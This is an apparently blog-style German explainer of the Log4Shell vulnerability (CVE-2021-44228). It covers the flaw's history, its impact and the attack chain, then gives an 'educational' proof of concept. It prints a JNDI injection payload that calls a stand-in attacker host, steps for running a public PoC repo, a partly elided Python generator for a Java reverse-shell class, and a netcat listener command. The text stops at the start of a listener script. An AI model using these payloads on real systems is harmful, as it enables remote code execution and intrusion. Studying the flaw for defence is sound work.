🛡️ CVE-2021-44228: Analyse von Log4Shell – Die Sicherheitslücke, die die Java-Sicherheit revolutionierte

Kritische Auswirkung (CVSS 10.0) | Entdeckt im Jahr 2021, ermöglicht dieser Fehler in Apache Log4j die Remote-Codeausführung (RCE) und betrifft Millionen von Systemen weltweit. Noch heute ist es eine wichtige Erinnerung für die Cybersicherheit!

---

🔍 Was ist Log4Shell?

CVE-2021-44228, bekannt als Log4Shell, ist eine kritische Remote-Codeausführungs (RCE)-Schwachstelle in der Logging-Bibliothek Apache Log4j 2. Dieser Fehler ermöglicht es bösartigen Angreifern, beliebigen Code auf anfälligen Servern auszuführen, indem sie einfach eine speziell präparierte Textzeichenfolge senden, die von der Anwendung protokolliert wird.

• Warum ist sie so gefährlich? Log4j ist allgegenwärtig in Java-Anwendungen, einschließlich Cloud-Diensten, Web-Apps und Unternehmenssoftware. Die Ausnutzung erfordert keine Authentifizierung und kann leicht über Benutzereingaben wie HTTP-Header, Formulare oder Chats verbreitet werden.
• Entdeckt von: Chen Zhaojun von Alibaba Cloud Security (November 2021). Öffentlich bekannt gegeben am 9. Dezember 2021, was weltweite Warnungen von CISA, NCSC und anderen auslöste.
• Globale Auswirkungen: Betraf hunderte Millionen Geräte. Unternehmen wie Minecraft, Twitter und Cisco waren betroffen. Es wurden massive Angriffe beobachtet: zu Spitzenzeiten über 100 pro Minute.

Log4Shell blieb nicht allein; es führte zu CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) und CVE-2021-4104 (RCE in Log4j 1.2).

---

💀 Angriffsvektor und Funktionsweise

Der Kern des Problems ist die unsichere Handhabung von JNDI (Java Naming and Directory Interface) in Log4j, das Remote-Lookups ohne Bereinigung auflöst.

Beispiel für einen einfachen Payload

${jndi:ldap://angreifer.com:1389/Exploit}

So funktioniert es:

1. Der Angreifer injiziert den Payload in eine protokollierte Nachricht (z. B. User-Agent in HTTP).
2. Log4j erkennt ${...} und führt einen JNDI-Lookup aus.
3. Der anfällige Server verbindet sich mit dem LDAP/RMI/DNS-Server des Angreifers.
4. Eine bösartige Java-Klasse wird heruntergeladen und ausgeführt (z. B. Reverse Shell).

Ausnutzbare Protokolle: LDAP, RMI, DNS, IIOP usw. Dies ermöglicht Bedrohungen wie:

• Coinmining: Ressourcendiebstahl zum Minen von Kryptowährungen.
• Ransomware: Verschlüsselung von Daten (z. B. Khonsari, Night Sky).
• DoS/DDoS: Überlastung von Systemen (z. B. über Mirai-Botnetz).
• Lateral Movement: Tools wie Cobalt Strike zur Eskalation.

Infektionskette (Kill Chain):

1. Reconnaissance: Scannen von Ports und Headern zur Erkennung von Log4j.
2. Injection: Senden des Payloads in nicht bereinigte Eingaben.
3. Auflösung: JNDI kontaktiert den Angreiferserver.
4. Ausführung: Schadcode wird geladen und ausgeführt (z. B. Download von Malware wie Kinsing).
5. Persistenz: Exfiltration von Credentials (/etc/passwd, /etc/shadow) oder Installation von Backdoors.

---

📈 Technische Details

Merkmal	Detail
CVSS v3.1-Score	10.0 (KRITISCH) 🔥 – Maximal möglicher Schweregrad.
Betroffene Versionen	Log4j 2.0-beta9 bis 2.14.1 (inkl. Abkömmlinge bis 2.16.0 für Sub-CVEs).
Grundursache	Ersetzung von JNDI-Nachrichten ohne Validierung; Remote-Lookups aktiviert.
Vektoren	Remote, ohne Authentifizierung; betrifft Java 8+ in Web-/Cloud-Apps.
Betroffene Produkte	Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter und mehr.
Ausnutzung	Einfach: Öffentliche PoCs auf GitHub; keine Privilegien erforderlich.

Auswirkungsstatistik:

• 90% der Cloud-Umgebungen anfänglich exponiert.

• Ausgenutzt von staatlichen Gruppen (China, Nordkorea) und Cyberkriminellen.
• Erster Patch: Log4j 2.15.0 (Dezember 2021), aber unvollständig; sichere Version: 2.17.1+.

---

🚀 Pädagogischer Proof of Concept (PoC)

⚠️ Warnung: Dieser Inhalt ist ausschließlich für Bildungszwecke und autorisierte Tests bestimmt. Verwenden Sie dies nicht an Systemen ohne ausdrückliche Erlaubnis. Das Ausnutzen von Schwachstellen ohne Autorisierung ist illegal (z. B. Verstöße gegen Gesetze wie CFAA in den USA). Führen Sie stets ethisches Pentesting durch.

Basierend auf öffentlichen Repositories wie kozmer/log4j-shell-poc hier ein vereinfachter Überblick über einen PoC in kontrollierten Umgebungen (z. B. lokales Docker/VM).

Allgemeine Schritte zur Simulation (anfällige Umgebung)

1. Repo klonen: git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/
2. Docker bauen: docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln
3. Anfälliges Java installieren (z. B. JDK 8u202): Von vertrauenswürdigen Mirrors herunterladen, entpacken und Pfad konfigurieren (z. B. /usr/bin/jdk1.8.0_202).
4. PoC-Skript (poc.py) anpassen: Java-Pfade und IPs ändern. Beispiel eines korrigierten Snippets (vereinfachte Version):

#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
    public Exploit() throws Exception {{
        String host="{userip}";
        int port={lport};
        String cmd="/bin/sh";
        Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s = new Socket(host, port);
        // ... (vereinfachter Reverse-Shell-Code)
    }}
}}
"""
    p = CUR_FOLDER / "Exploit.java"
    try:
        p.write_text(program)
        subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
        print(Fore.GREEN + '[+] Exploit-Klasse erfolgreich generiert')
    except Exception as e:
        print(Fore.RED + f'[-] Fehler: {e}')

# ... (Funktionen für LDAP-Server und Webserver analog zum Original)

def main():
    init(autoreset=True)
    print(Fore.BLUE + "[!] Pädagogischer PoC für CVE-2021-44228 - Nur in Labs verwenden!")
    # Argumente: --userip localhost --webport 8000 --lport 9001
    # Startet LDAP, Webserver und generiert Payload

if __name__ == "__main__":
    main()

5. Ausführen: python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001
6. Listener (Netcat): nc -lvnp 9001 – Reverse Shell überwachen.
7. Payload injizieren: In der anfälligen App (http://localhost:8080) ${jndi:ldap://127.0.0.1:1389/a} in einem Login-/Suchfeld verwenden.
8. Überprüfen: Verbindung in Netcat; Logs im Terminal zeigen JNDI-Auflösung an.

Einfacher PoC in Python (Listener + Exploit): Für schnelle Demos dieses Duo an Skripten verwenden (zuerst Listener starten).

listener.py:

import socket
import threading